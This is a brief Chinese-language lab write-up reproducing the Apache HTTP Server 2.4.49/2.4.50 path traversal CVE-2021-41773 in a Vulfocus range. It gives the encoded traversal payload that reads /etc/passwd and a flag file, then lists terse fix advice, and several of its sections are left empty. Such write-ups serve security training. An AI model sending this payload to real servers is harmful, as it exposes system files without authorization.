【路径穿越】vulfocus/apache-cve_2021_41773

1.1漏洞描述

漏洞编号	cve_2021_41773
漏洞类型	路径穿越
漏洞等级	高危
漏洞环境	vulfocus
攻击方式

1.2漏洞等级

高危

1.3影响版本

Apache HTTP Server 2.4.49、2.4.50

1.4漏洞复现

1.4.1.基础环境

靶场	VULFOCUS
工具	BurpSuite

1.4.2.前提

1.5深度利用

1.5.1漏洞点

        利用网上爆出得poc代码尝试获取/etc/passwd中得内容，poc如下,可轻松得到敏感内容

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

查看/tmp/flag

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/tmp/flag

 拿到flag

flag-{bmhd9509045-100c-4d25-8e8b-11f345f94b4e}

1.6漏洞挖掘

1.6.1指纹信息

1.7修复建议

• 升级

• 打补丁

• 上设备